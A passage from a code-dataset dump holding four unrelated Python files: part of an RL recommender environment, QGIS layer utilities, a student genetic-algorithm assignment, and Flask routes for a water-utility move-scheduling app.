Turn 1: The user initializes the preferred features when start a conversation\n        user_like_random_fea = random.sample(self.kg.G['item'][self.target_item]['belong_to'],\n                                             k=user_init_prefer_fea_num)\n        self.cur_node_set = user_like_random_fea  # update current_feature_node set\n        cprint(f'[User init preferred feature] I like [{user_like_random_fea}]{tuple(map(self.fea_map, user_like_random_fea))}!')\n        return user_like_random_fea\n\n    def _updata_reachable_feature(self):\n        # ===== Graph path reasoning [Turn x : from current node jump to next feature_node in 1-hop]====\n        next_reachable_feature = []\n        for cur_node in self.cur_node_set:   # update reachable feature ( from current node jump to next feature_node in 1-hop)\n            if self.data_name in ['LAST_FM', 'LAST_FM_STAR']:\n                # ====[A-U-A  1-hop jump]  co-users: collaborative filtering\n                fea_liked_by_users = list(self.kg.G['feature'][cur_node]['like'])  # A-U : users who like cur_feature\n                user_friends = self.kg.G['user'][self.user_id]['friends']  #  U-U :  target user's friends\n                cand_fea_like_users = list(set(fea_liked_by_users) & set(user_friends))  # co-users: collaborative filtering\n                for user_id in cand_fea_like_users:  # A-U-A  # U in [friends & fea_liked_by_user]\n                    next_reachable_feature.extend(list(self.kg.G['user'][user_id]['like']))\n                next_reachable_feature = list(set(next_reachable_feature))\n\n            # ====[A-I-A  1-hop jump]  co_items: collaborative filtering\n            fea_belong_items = list(self.kg.G['feature'][cur_node]['belong_to'])  # A-I : items that have this cur_feature\n            cand_fea_belong_items = list(set(fea_belong_items) & set(self.cand_items)) # co_items: collaborative filtering\n            for item_id in cand_fea_belong_items:  # A-I-A   I in [cand_items & fea_related_items]\n                next_reachable_feature.extend(list(self.kg.G['item'][item_id]['belong_to']))\n            next_reachable_feature = list(set(next_reachable_feature))\n        # ==== update self.reachable_feature\n        self.reachable_feature = next_reachable_feature  # next reachable_feature in 1-hop\n\n    def _mini_sort_reachable_feature(self):\n        # Sort reachable features according to the entropy of features\n        reach_fea_score = self._feature_score()\n        max_ind_list = []\n        for k in range(self.ask_num):\n            max_score = max(reach_fea_score)\n            max_ind = reach_fea_score.index(max_score)\n            reach_fea_score[max_ind] = 0\n            max_ind_list.append(max_ind)\n        max_fea_id = [self.reachable_feature[i] for i in max_ind_list]\n        [self.reachable_feature.pop(v - i) for i, v in enumerate(max_ind_list)]\n        [self.reachable_feature.insert(0, v) for v in max_fea_id[::-1]]\n\n\n\n    def _feature_score(self):\n        reach_fea_score = []\n        for feature_id in self.reachable_feature:\n            score = self.attr_ent[feature_id]\n            reach_fea_score.append(score)\n        return reach_fea_score\n\n    def _item_score(self):\n        cand_item_score = []\n        for item_id in self.cand_items:\n            item_embed = self.ui_embeds[self.user_length + item_id]\n            score = 0\n            score += np.inner(np.array(self.user_embed), item_embed)\n            prefer_embed = self.feature_emb[self.user_acc_feature, :]  #np.array (x*64)\n            for i in range(len(self.user_acc_feature)):\n                score += np.inner(prefer_embed[i], item_embed)\n            cand_item_score.append(score)\n        return cand_item_score\n\n    def _agent_ask_user_response(self, ask_num):\n        '''\n        :return:\n            RL env feedback: reward, done,\n            User response in current turn : acc_feature, rej_feature\n        '''\n        done = 0\n        if len(self.reachable_feature) == 0:  #candidate features is empty\n            reward = self.reward_dict['cand_none']\n            done = 1\n            self.conver_his[self.cur_conver_step] = self.history_dict['ask_fail']  # update conver_his\n            return reward, done, [], []\n        # === 1. Get feature tuple which sort by predictional model\n        sort_mini_feas = self.reachable_feature[:ask_num]\n\n        # === 2. User feedback: accept & reject\n        acc_feature = list(set(sort_mini_feas) & set(self.feature_groundtrue))\n        rej_feature = list(set(sort_mini_feas) - set(acc_feature))\n\n\n        # === 3. Get action reward & Update state_vector(self.conver_his)\n        if len(acc_feature):\n            reward = self.reward_dict['ask_suc']\n            self.conver_his[self.cur_conver_step] = self.history_dict['ask_suc']   #update conver_his\n        else:\n            reward = self.reward_dict['ask_fail']\n            self.conver_his[self.cur_conver_step] = self.history_dict['ask_fail']  #update conver_his\n        return reward, done, acc_feature, rej_feature\n\n    def _remove_asked_reachable_fea(self):\n        self.reachable_feature = list(\n            set(self.reachable_feature) - set(self.user_acc_feature))  # remove user accept feature\n        self.reachable_feature = list(\n            set(self.reachable_feature) - set(self.user_rej_feature))  # remove user reject feature\n\n    def _update_user_profile(self, acc_feature, rej_feature, rec_suc=None):\n        self.user_acc_feature += acc_feature\n        self.user_rej_feature += rej_feature\n\n    def _update_cand_items(self, acc_feature, rej_feature, rec_suc=None):\n        \"\"\"\n        ==== CRS takes the attributes accepted by the user as a strong indicator ===\n        :param acc_feature:  user accept features when agent asking\n        :param rej_feature:  user reject features when agent asking\n        :return:\n        \"\"\"\n        if rec_suc is None:  # action : Agent asking feature\n            if len(acc_feature):    #accept feature\n                for feature_id in acc_feature:\n                    feature_items = self.kg.G['feature'][feature_id]['belong_to']\n                    self.cand_items = set(self.cand_items) & set(feature_items)   #  itersection\n                self.cand_items = list(self.cand_items)\n            if len(rej_feature):  # Agent only considers all items containing all attributes user accepts\n                pass  #\n        else: # action : Agent recommend items\n            if rec_suc is False:\n                self.cand_items = self.cand_items[self.rec_num:]  # update candidate items\n                self.cand_item_score = self.cand_item_score[self.rec_num:] # update candidate items score\n            elif rec_suc is True:\n                self.cand_items = [self.target_item]  # update candidate items\n        # update state vector : self.cand_item_num\n        self.cand_item_num = [len(self.cand_items) >>d & 1 for d in range(self.bit_length)][::-1]  # binary\n\n\n\n    def _agent_rec_user_response(self, rec_num):\n        # ===  User feedback: Get action reward & Update state_vector(self.conver_his)\n        rec_items = self.cand_items[: rec_num]  # TOP k item to recommend\n        print(f'-->Agent recommend items id: {rec_items}')\n        # print(f'-->Agent recommend items score: {cand_item_score[: rec_num]}')\n        # cprint(f'-->Agent recommend TOP-10 total score:  {sum(cand_item_score[: rec_num])}')\n        if self.target_item in rec_items:\n            reward = self.reward_dict['rec_suc']\n            self.conver_his[self.cur_conver_step] = self.history_dict['rec_scu']  # update state vector: conver_his\n            done = 1\n        else:\n            reward = self.reward_dict['rec_fail']\n            self.conver_his[self.cur_conver_step] = self.history_dict['rec_fail']  # update state vector: conver_his\n            done = 0\n        if self.cand_items == []:  # candidate items is empty\n            done = 1\n            reward = self.reward_dict['cand_none']\n        return reward, done\n\n    def _update_feature_entropy(self, item_score_compute=True):\n        if self.ent_way == 'entropy':\n            cand_items_fea_list = []\n            for item_id in self.cand_items:\n                cand_items_fea_list.append(list(self.kg.G['item'][item_id]['belong_to']))\n            cand_items_fea_list = list(_flatten(cand_items_fea_list))\n            self.attr_count_dict = dict(Counter(cand_items_fea_list))\n            self.attr_ent = [0] * self.attr_bit_state  # reset attr_ent\n            real_ask_able = list(set(self.reachable_feature) & set(self.attr_count_dict.keys()))\n            for fea_id in real_ask_able:\n                p1 = float(self.attr_count_dict[fea_id]) / len(self.cand_items)\n                p2 = 1.0 - p1\n                if p1 == 1:\n                    self.attr_ent[fea_id] = 0\n                else:\n                    ent = (- p1 * np.log2(p1) - p2 * np.log2(p2))\n                    self.attr_ent[fea_id] = ent\n        elif self.ent_way == 'weight entropy':\n            cand_items_fea_list = []\n            self.attr_count_dict = {}\n\n            # ====  compute candidate items score ==== high time cost\n            if item_score_compute is True:\n                self.cand_item_score = self._item_score()\n            else:\n                pass\n\n            cand_item_score_sig = self.sigmoid(self.cand_item_score)  # sigmoid(score)\n            for score_ind, item_id in enumerate(self.cand_items):\n                cand_items_fea_list = list(self.kg.G['item'][item_id]['belong_to'])\n                for fea_id in cand_items_fea_list:\n                    if self.attr_count_dict.get(fea_id) == None:\n                        self.attr_count_dict[fea_id] = 0\n                    self.attr_count_dict[fea_id] += cand_item_score_sig[score_ind]\n\n            self.attr_ent = [0] * self.attr_bit_state  # reset attr_ent\n            real_ask_able = list(set(self.reachable_feature) & set(self.attr_count_dict.keys()))\n            sum_score_sig = sum(cand_item_score_sig)\n\n            for fea_id in real_ask_able:\n                p1 = float(self.attr_count_dict[fea_id]) / sum_score_sig\n                p2 = 1.0 - p1\n                if p1 == 1 or p1 <= 0:\n                    self.attr_ent[fea_id] = 0\n                else:\n                    ent = (- p1 * np.log2(p1) - p2 * np.log2(p2))\n                    self.attr_ent[fea_id] = ent\n\n    def sigmoid(self, x_list):\n        x_np = np.array(x_list)\n        s = 1 / (1 + np.exp(-x_np))\n        return s.tolist()\n\n\n\n\n\n","repo_name":"gangyizh/SCPR","sub_path":"RL/env_binary_question.py","file_name":"env_binary_question.py","file_ext":"py","file_size_in_byte":28088,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"35"}
{"seq_id":"32786767213","text":"from qgis._core import QgsVectorDataProvider, QgsCoordinateReferenceSystem, QgsRectangle, QgsWkbTypes, \\\n    QgsRasterDataProvider\nfrom qgis.core import QgsMapLayer,QgsRasterLayer,QgsVectorLayer,QgsProject\nfrom qgis.gui import QgsMapCanvas\n\nimport os.path as osp\n\nPROJECT = QgsProject.instance()\n\ndef addMapLayer(layer:QgsMapLayer,mapCanvas:QgsMapCanvas,firstAddLayer=False):#加载图层的函数\n    if layer.isValid():\n        if firstAddLayer:\n            #若地图初始打开，则为TRUE，需要将地图画布的坐标系统设为第一个加载进软件的坐标系统，且缩放到该图层的位置\n            mapCanvas.setDestinationCrs(layer.crs())\n            mapCanvas.setExtent(layer.extent())\n\n        while(PROJECT.mapLayersByName(layer.name())):\n            layer.setName(layer.name()+\"_1\")\n\n        PROJECT.addMapLayer(layer)\n        layers = [layer] + [PROJECT.mapLayer(i) for i in PROJECT.mapLayers()]\n        mapCanvas.setLayers(layers)\n        mapCanvas.refresh()\n\ndef readRasterFile(rasterFilePath):\n    rasterLayer = QgsRasterLayer(rasterFilePath,osp.basename(rasterFilePath))\n    return rasterLayer\n\ndef readVectorFile(vectorFilePath):\n    vectorLayer = QgsVectorLayer(vectorFilePath,osp.basename(vectorFilePath),\"ogr\")\n    return vectorLayer\n\n\nqgisDataTypeDict = {\n    0 : \"UnknownDataType\",\n    1 : \"Uint8\",\n    2 : \"UInt16\",\n    3 : \"Int16\",\n    4 : \"UInt32\",\n    5 : \"Int32\",\n    6 : \"Float32\",\n    7 : \"Float64\",\n    8 : \"CInt16\",\n    9 : \"CInt32\",\n    10 : \"CFloat32\",\n    11 : \"CFloat64\",\n    12 : \"ARGB32\",\n    13 : \"ARGB32_Premultiplied\"\n}\n\ndef getRasterLayerAttrs(rasterLayer:QgsRasterLayer):\n\n    rdp : QgsRasterDataProvider = rasterLayer.dataProvider()\n    crs : QgsCoordinateReferenceSystem = rasterLayer.crs()\n    extent: QgsRectangle = rasterLayer.extent()\n    resDict = {\n        \"name\" : rasterLayer.name(),\n        \"source\" : rasterLayer.source(),\n        \"memory\" : getFileSize(rasterLayer.source()),\n        \"extent\" : f\"min:[{extent.xMinimum():.6f},{extent.yMinimum():.6f}]; max:[{extent.xMaximum():.6f},{extent.yMaximum():.6f}]\",\n        \"width\" : f\"{rasterLayer.width()}\",\n        \"height\" : f\"{rasterLayer.height()}\",\n        \"dataType\" : qgisDataTypeDict[rdp.dataType(1)],\n        \"bands\" : f\"{rasterLayer.bandCount()}\",\n        \"crs\" : crs.description()\n    }\n    return resDict\n\ndef getVectorLayerAttrs(vectorLayer:QgsVectorLayer):\n    vdp : QgsVectorDataProvider = vectorLayer.dataProvider()\n    crs: QgsCoordinateReferenceSystem = vectorLayer.crs()\n    extent: QgsRectangle = vectorLayer.extent()\n    resDict = {\n        \"name\" : vectorLayer.name(),#图层名\n        \"source\" : vectorLayer.source(),\n        \"memory\": getFileSize(vectorLayer.source()),\n        \"extent\" : f\"min:[{extent.xMinimum():.6f},{extent.yMinimum():.6f}]; max:[{extent.xMaximum():.6f},{extent.yMaximum():.6f}]\",\n        \"geoType\" : QgsWkbTypes.geometryDisplayString(vectorLayer.geometryType()),\n        \"featureNum\" : f\"{vectorLayer.featureCount()}\",\n        \"encoding\" : vdp.encoding(),\n        \"crs\" : crs.description(),# 图层的坐标系统\n        \"dpSource\" : vdp.description()\n    }\n    return resDict\n\ndef getFileSize(filePath):\n    fsize = osp.getsize(filePath)  # 返回的是字节大小\n\n    if fsize < 1024:\n        return f\"{round(fsize, 2)}Byte\"\n    else:\n        KBX = fsize / 1024\n        if KBX < 1024:\n            return f\"{round(KBX, 2)}Kb\"\n        else:\n            MBX = KBX / 1024\n            if MBX < 1024:\n                return f\"{round(MBX, 2)}Mb\"\n            else:\n                return f\"{round(MBX/1024,2)}Gb\"\n\n\n# def getRasterLayerAttrs(rasterLayer:QgsRasterLayer):\n#     print(\"name: \", rasterLayer.name()) # 图层名\n#     print(\"type: \", rasterLayer.type()) # 栅格还是矢量图层\n#     print(\"height - width: \", rasterLayer.height(),rasterLayer.width()) #尺寸\n#     print(\"bands: \", rasterLayer.bandCount()) #波段数\n#     print(\"extent\", rasterLayer.extent()) #外接矩形范围\n#     print(\"source\", rasterLayer.source()) #图层的源文件地址\n#     print(\"crs\", rasterLayer.crs())  # 图层的坐标系统\n#\n# def getVectorLayerAttrs(vectorLayer:QgsVectorLayer):\n#     print(\"name: \", vectorLayer.name())  # 图层名\n#     print(\"type: \", vectorLayer.type())  # 栅格还是矢量图层\n#     print(\"extent\", vectorLayer.extent())  # 外接矩形范围\n#     print(\"source\", vectorLayer.source())  # 图层的源文件地址\n#     print(\"crs\", vectorLayer.crs())  # 图层的坐标系统","repo_name":"dachenc/Remote-sensing-data-cloud-detection-and-ground-object-recovery-system","sub_path":"QgisUtils/QgisLayerUtils.py","file_name":"QgisLayerUtils.py","file_ext":"py","file_size_in_byte":4476,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"29339158178","text":"import GAinspector\r\n#import numpy as np\r\nfrom utils import *\r\n\r\nimport random\r\n\r\ndef randomGenome(length):\r\n    \"\"\"\r\n    :param length:\r\n    :return: string, random binary digit\r\n    \"\"\"\r\n    \"\"\"Your Code Here\"\"\"\r\n    genome = \"\"\r\n    for i in range(0,length):\r\n    \tgenome += str(random.randint(0,1))\r\n    return genome\t\r\n    #raiseNotDefined()\r\n\r\ndef makePopulation(size, length):\r\n    \"\"\"\r\n    :param size - of population:\r\n    :param length - of genome\r\n    :return: list of length size containing genomes of length length\r\n    \"\"\"\r\n\r\n    \"\"\"Your Code Here\"\"\"\r\n    population = []\r\n    for i in range(0,size):\r\n    \tpopulation.append(randomGenome(length))\r\n    return population\t\r\n\r\n    #raiseNotDefined()\r\n\r\n\r\ndef fitness(genome):\r\n    \"\"\"\r\n    :param genome: \r\n    :return: the fitness value of a genome\r\n    \"\"\"\r\n    fitness_val = 0\r\n    for i in range(0,len(genome)):\r\n    \tfitness_val+=int(genome[i])\r\n    return fitness_val\t\r\n\r\n\r\n    \r\n\r\n\r\n\r\n    raiseNotDefined()\r\n\r\ndef evaluateFitness(population):\r\n    \"\"\"\r\n    :param population: \r\n    :return: a pair of values: the average fitness of the population as a whole and the fitness of the best individual in the population.\r\n    \"\"\"\r\n    max = -1\r\n    sum = 0\r\n    for i in range(0,len(population)):\r\n    \tsum += fitness(population[i])\r\n    \tif(fitness(population[i])>max):\r\n    \t\tmax = fitness(population[i])\r\n    avg = sum/len(population)\r\n\r\n    return [avg,max]\r\n    \t\r\n\r\n\r\n    raiseNotDefined()\r\n\r\n\r\n\r\ndef crossover(genome1, genome2):\r\n    \"\"\"\r\n    :param genome1:\r\n    :param genome2:\r\n    :return: two new genomes produced by crossing over the given genomes at a random crossover point.\r\n    \"\"\"\r\n    crossover_point = random.randint(1,len(genome1)-1)\r\n    gene1 = genome1[:crossover_point]+genome2[crossover_point:]\r\n    gene2 = genome2[:crossover_point]+genome1[crossover_point:]\r\n\r\n    return gene2,gene1\r\n    raiseNotDefined()\r\n\r\n\r\n\r\n\r\n\r\ndef mutate(genome, mutationRate):\r\n    \"\"\"\r\n    :param genome:\r\n    :param mutationRate:\r\n    :return: a new mutated version of the given genome.\r\n    \"\"\"\r\n    new_genome = \"\"\r\n    num_genomes_to_change = round(len(genome) * mutationRate)\r\n    mutate_gene = genome[0: num_genomes_to_change]\r\n    #new_genome = \"\"\r\n    for x in mutate_gene:\r\n    \tif(x==\"1\"):\r\n    \t\tx = \"0\"\r\n    \telse: \r\n    \t\tx = \"1\"\t\r\n    \tnew_genome+=x\t\r\n\r\n    \r\n\r\n    res = new_genome + genome[num_genomes_to_change: len(genome)]\r\n    #print(new_genome)\t\t\r\n    return res\t\t\r\n    \t\t\t\r\n    \t\r\n    raiseNotDefined()\r\n\r\ndef selectPair(population):\r\n    \"\"\"\r\n\r\n    :param population:\r\n    :return: two genomes from the given population using fitness-proportionate selection. This function should use weightedChoice, which we wrote in class, as a helper function.\r\n    \"\"\"\r\n    weightsArray = []\r\n    for x in population:\r\n    \tweightsArray.append(fitness(x))\r\n    genomeA = weightedChoice(population,weightsArray)\r\n    genomeB = weightedChoice(population,weightsArray)\r\n\r\n    return genomeA,genomeB\t\r\n\r\n    raiseNotDefined()\r\n\r\ndef performCrossover(crossoverRate):\r\n    maxVal = 100\r\n    chanceVal = random.randint(1, maxVal)\r\n\r\n    return chanceVal <= crossoverRate * maxVal # 70 \r\n\r\ndef runGA(populationSize, crossoverRate, mutationRate, logFile=\"\"):\r\n    \"\"\"\r\n\r\n    :param populationSize: :param crossoverRate: :param mutationRate: :param logFile: :return: xt file in which to\r\n    store the data generated by the GA, for plotting purposes. When the GA terminates, this function should return\r\n    the generation at which the string of all ones was found.is the main GA program, which takes the population size,\r\n    crossover rate (pc), and mutation rate (pm) as parameters. The optional logFile parameter is a string specifying\r\n    the name of a te\r\n    \"\"\"\r\n    '''\r\n    genomeLength = 20\r\n    bestGeneration = -1\r\n    population = makePopulation(populationSize, genomeLength)\r\n    currentGeneration = 0\r\n\r\n    saveRun = 1\r\n    saveFile = open(logFile, 'a')\r\n    saveFile.write(\"----new run----\\n\")\r\n    print(\"Population Size \", populationSize)\r\n    print(\"Genome Length \", genomeLength)\r\n\r\n    while (bestGeneration == -1):\r\n        newGen = []\r\n        highest, avg = evaluateFitness(population)\r\n\r\n        if (highest == genomeLength):\r\n            bestGeneration = currentGeneration\r\n\r\n        #popSum = sum(list(map(lambda x: fitness(x), population)))\r\n        print(\"Generation \", currentGeneration, \": average fitness \", avg, \", best fitness \", highest)\r\n\r\n        saveFile.write(str(\r\n            \"pop \" + str(populationSize) + \" genLen \" + str(genomeLength) + \" gen \" + str(currentGeneration) + \" avg \" + str(\r\n                avg) + \" best \" + str(highest)) + \"\\n\")\r\n\r\n        for i in range(int(populationSize / 2)):\r\n\r\n            newGenomeA, newGenomeB = selectPair(population)\r\n\r\n            if (performCrossover(crossoverRate)):\r\n                newGenomeA, newGenomeB = crossover(newGenomeA, newGenomeB)\r\n\r\n            newGenomeA = mutate(newGenomeA, mutationRate)\r\n            newGenomeB = mutate(newGenomeB, mutationRate)\r\n\r\n            newGen.append(newGenomeA)\r\n            newGen.append(newGenomeB)\r\n\r\n        population = newGen\r\n\r\n        currentGeneration = currentGeneration + 1\r\n    if (saveRun == 1):\r\n        saveFile.close()\r\n    return bestGeneration\r\n    '''\r\n    genomeLength = 20\r\n    pop = makePopulation(populationSize,genomeLength)\r\n    curr_gen = 0\r\n    best_gen = -1\r\n    fr = open(logFile,'w')\r\n    print(\"Population size: \", )\r\n\r\n    while(best_gen==-1 and curr_gen < 51):\r\n        #population,y = sortByFitness(pop)\r\n        next_gen = []\r\n        avg,best = evaluateFitness(pop)\r\n        \r\n        if(best == genomeLength):\r\n            best_gen = curr_gen\r\n\r\n        \r\n\r\n        #print(\"Generation#: \", curr_gen,\" average fitness: \", avg, \" best fitness \", best )\r\n        #print(\"average fitness\", avg)\r\n        print(avg)\r\n\r\n        #if(x % 10 == 0):\r\n            #fr.write(str(\"Generation#: \" + str(x) + \" average fitness: \" + str(avg) + \" best fitness \" + str(best)))\r\n        for j in range(int(populationSize/2)):\r\n            gene1, gene2 = selectPair(pop)\r\n            r = random.random()\r\n            if(r<=crossoverRate):\r\n                gene1, gene2 = crossover(gene1,gene2)\r\n\r\n            gene1 = mutate(gene1,mutationRate)\r\n            gene2 = mutate(gene2,mutationRate)\r\n\r\n            next_gen.append(gene1)\r\n            next_gen.append(gene2)\r\n\r\n        pop = next_gen\r\n        curr_gen = curr_gen + 1\r\n    fr.close()  \r\n    return curr_gen-1\r\n\r\n\r\n\r\n\r\n    raiseNotDefined()\r\n\r\n\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n    #Testing Code\r\n    print(\"Test Suite\")\r\n    GAinspector.test(randomGenome)\r\n    GAinspector.test(makePopulation)\r\n    GAinspector.test(fitness)\r\n    GAinspector.test(evaluateFitness)\r\n    GAinspector.test(crossover)\r\n    GAinspector.test(mutate)\r\n    GAinspector.test(selectPair)\r\n    sum_best_gens = 0\r\n    maxi = -1\r\n    mini =99999\r\n\r\n    for i in range(0,50):\r\n        x = runGA(100, 0.7, 0.9, \"run1.txt\")\r\n        print(x)\r\n        sum_best_gens += x\r\n        if x > maxi:\r\n            maxi = x\r\n        if x<mini:\r\n            mini = x\r\n    avg = sum_best_gens/50\r\n    print(\"AVG\", avg)\r\n    print(\"Max\", maxi)\r\n    print(\"Min\", mini)\r\n\r\n\r\n    ","repo_name":"rohansuri17/CSCI3202","sub_path":"Assignment2/part1.py","file_name":"part1.py","file_ext":"py","file_size_in_byte":7206,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"23847431840","text":"from app import app\r\nfrom flask import Flask, render_template, flash, redirect, url_for\r\nfrom app.forms import LoginForm\r\nfrom flask_login import current_user, login_user, logout_user\r\nfrom app.models import User\r\nfrom flask_login import login_required\r\nfrom flask import request\r\nfrom werkzeug.urls import url_parse\r\nfrom app import db\r\nfrom app.forms import RegistrationForm\r\nfrom app.forms import EditProfileForm\r\nfrom app.forms import CreateMoveForm\r\nfrom app.forms import EditMoveForm\r\nfrom datetime import timedelta\r\nfrom datetime import datetime\r\nfrom app.timer import countdown_timer\r\n\r\n################################ DONE THIS FUNCTION ##########################################\r\n@app.before_request\r\ndef before_request():\r\n    if current_user.is_authenticated:\r\n        user = User.query.filter_by(username=current_user.username).first_or_404()\r\n        # print('In before request')\r\n        # print('User move date: {}'.format(user.move_date))\r\n        # print('User future street address: {}'.format(user.future_street_address))\r\n        # print('User future city: {}'.format(user.future_city))\r\n        # print('User future state: {}'.format(user.future_state))\r\n        # print('User future zip code: {}'.format(user.future_zip_code))\r\n        if user.is_moving:\r\n            # check their move date to see\r\n            # if the timer expired\r\n            if countdown_timer(user.move_date) <= timedelta(0,0,0):\r\n                user.is_moving = False\r\n                db.session.commit()\r\n                user.move_date = None\r\n                db.session.commit()\r\n\r\n                user.current_street_address = user.future_street_address\r\n                db.session.commit()\r\n                user.current_city = user.future_city\r\n                db.session.commit()\r\n                user.current_state = user.future_state\r\n                db.session.commit()\r\n                user.current_zip_code = user.future_zip_code\r\n                db.session.commit()\r\n\r\n                user.future_street_address = None\r\n                db.session.commit()\r\n                user.future_city = None\r\n                db.session.commit()\r\n                user.future_state = None\r\n                db.session.commit()\r\n                user.future_zip_code = None\r\n                db.session.commit()\r\n################################ DONE THIS FUNCTION ##########################################\r\n\r\n################################ DONE THIS FUNCTION ##########################################\r\n@app.route('/')\r\n@app.route('/index')\r\n@login_required\r\ndef index():\r\n    return render_template('index.html', title = 'Your Account - Water America')\r\n################################ DONE THIS FUNCTION ##########################################\r\n\r\n################################ DONE THIS FUNCTION ##########################################\r\n@app.route('/register', methods=['GET', 'POST'])\r\ndef register():\r\n\r\n    if current_user.is_authenticated:\r\n        return redirect(url_for('index'))\r\n    form = RegistrationForm()\r\n\r\n    if form.validate_on_submit():\r\n        print('form was validated')\r\n        user = User(\r\n            last_name = form.last_name.data,\r\n            first_name = form.first_name.data,\r\n            current_street_address = form.street_address.data,\r\n            current_city = form.city.data,\r\n            current_state = form.state.data,\r\n            current_zip_code = form.zip_code.data,\r\n            username=form.username.data,\r\n            email=form.email.data\r\n        )\r\n        user.set_password(form.password.data)\r\n        db.session.add(user)\r\n        db.session.commit()\r\n\r\n        flash('Congratulations, you are now a registered Water America customer!')\r\n        return redirect(url_for('login'))\r\n    return render_template('register.html', title='Register', form=form)\r\n################################ DONE THIS FUNCTION ##########################################\r\n\r\n################################ DONE THIS FUNCTION ##########################################\r\n@app.route('/login', methods=['GET', 'POST'])\r\ndef login():\r\n    if current_user.is_authenticated:\r\n        return redirect(url_for('index'))\r\n    form = LoginForm()\r\n    if form.validate_on_submit():\r\n        user = User.query.filter_by(username=form.username.data).first()\r\n        if user is None or not user.check_password(form.password.data):\r\n            flash('Invalid username or password')\r\n            return redirect(url_for('login'))\r\n        login_user(user)\r\n        next_page = request.args.get('next')\r\n        if not next_page or url_parse(next_page).netloc != '':\r\n            next_page = url_for('index')\r\n        return redirect(next_page)\r\n    return render_template('login.html', title='Sign In', form=form)\r\n################################ DONE THIS FUNCTION ##########################################\r\n\r\n################################ DONE THIS FUNCTION ##########################################\r\n@app.route('/logout')\r\ndef logout():\r\n    logout_user()\r\n    return redirect(url_for('index'))\r\n################################ DONE THIS FUNCTION ##########################################\r\n\r\n################################ DONE THIS FUNCTION ##########################################\r\n@app.route('/user/<username>')\r\n@login_required\r\ndef user(username):\r\n    user = User.query.filter_by(username=username).first_or_404()\r\n    return render_template('user.html', user=user)\r\n################################ DONE THIS FUNCTION ##########################################\r\n\r\n################################ DONE THIS FUNCTION ##########################################\r\n@app.route('/create_move', methods=['GET', 'POST'])\r\n@login_required\r\ndef create_move():\r\n    form = CreateMoveForm()\r\n    user = User.query.filter_by(username=current_user.username).first_or_404()\r\n\r\n    if user.is_moving:\r\n        return redirect(url_for('edit_move'))\r\n\r\n    if form.validate_on_submit():\r\n        if user.current_city == form.city.data and user.current_state == form.state.data\\\r\n            and user.current_street_address == form.street_address.data\\\r\n                and user.current_zip_code == form.zip_code.data:\r\n            flash('You must enter an address different from your current address.')\r\n            redirect(url_for('create_move'))\r\n        else:\r\n            user.future_street_address = form.street_address.data\r\n            db.session.commit()\r\n            user.future_city = form.city.data\r\n            db.session.commit()\r\n            user.future_state = form.state.data\r\n            db.session.commit()\r\n            user.future_zip_code = form.zip_code.data\r\n            db.session.commit()\r\n            user.is_moving = True\r\n            db.session.commit()\r\n            user.move_date = datetime.strptime(form.move_date.data, '%m/%d/%Y')\r\n            db.session.commit()\r\n                            \r\n            flash('Thank you for choosing Water America. Your move has been submitted.')\r\n            return redirect(url_for('index'))\r\n    \r\n    elif request.method == 'GET':\r\n        form.move_date.data = 'mm/dd/yyyy'\r\n    \r\n    return render_template('create_move.html', title='Create Move',form=form)\r\n################################ DONE THIS FUNCTION ##########################################\r\n\r\n################################ DONE THIS FUNCTION ##########################################\r\n@app.route('/edit_move', methods=['POST', 'GET'])\r\n@login_required\r\ndef edit_move():\r\n    form = EditMoveForm()\r\n    user = User.query.filter_by(username=current_user.username).first_or_404()\r\n    if user.is_moving:\r\n        if form.validate_on_submit():\r\n            if form.delete.data:\r\n                user.is_moving = False\r\n                db.session.commit()\r\n                user.move_date = None\r\n                db.session.commit()\r\n                user.future_street_address = None\r\n                db.session.commit()\r\n                user.future_city = None\r\n                db.session.commit()\r\n                user.future_state = None\r\n                db.session.commit()\r\n                user.future_zip_code = None\r\n                db.session.commit()\r\n                flash('Your move has been deleted.')\r\n                return redirect(url_for('index'))\r\n            if form.submit.data:\r\n                user.move_date = datetime.strptime(form.move_date.data, '%m/%d/%Y')\r\n                db.session.commit()\r\n                user.future_street_address = form.street_address.data\r\n                db.session.commit()\r\n                user.future_city = form.city.data\r\n                db.session.commit()\r\n                user.future_state = form.state.data\r\n                db.session.commit()\r\n                user.future_zip_code = form.zip_code.data\r\n                db.session.commit()\r\n                flash('Your move has been updated.')\r\n                return redirect(url_for('edit_move'))\r\n        elif request.method == 'GET':\r\n            if user.move_date:\r\n                string_date = ''\r\n                date = str(user.move_date).split(' ')[0].split('-')\r\n                string_date += date[1]\r\n                string_date += '/'\r\n                string_date += date[2]\r\n                string_date += '/'\r\n                string_date += date[0]\r\n                form.move_date.data = string_date\r\n                form.street_address.data = user.future_street_address\r\n                form.city.data = user.future_city\r\n                form.state.data = user.future_state\r\n                form.zip_code.data = user.future_zip_code\r\n    else:\r\n        return redirect(url_for('create_move'))  \r\n    return render_template('edit_move.html', title='Edit Move',form=form)\r\n################################ DONE THIS FUNCTION ##########################################\r\n\r\n################################ DONE THIS FUNCTION ##########################################\r\n@app.route('/edit_profile', methods=['GET','POST'])\r\n@login_required\r\ndef edit_profile():\r\n    form = EditProfileForm(current_user.username)\r\n    if form.validate_on_submit():\r\n        current_user.username = form.username.data\r\n        db.session.commit()\r\n        flash('Your changes have been saved.')\r\n        return redirect(url_for('edit_profile'))\r\n    elif request.method == 'GET':\r\n        form.username.data = current_user.username\r\n    return render_template('edit_profile.html',title='Edit Profile', form=form)\r\n################################ DONE THIS FUNCTION ##########################################\r\n\r\n","repo_name":"epoxnet/WaterAmerica","sub_path":"Final/Water America Move Tool/app/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":10489,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
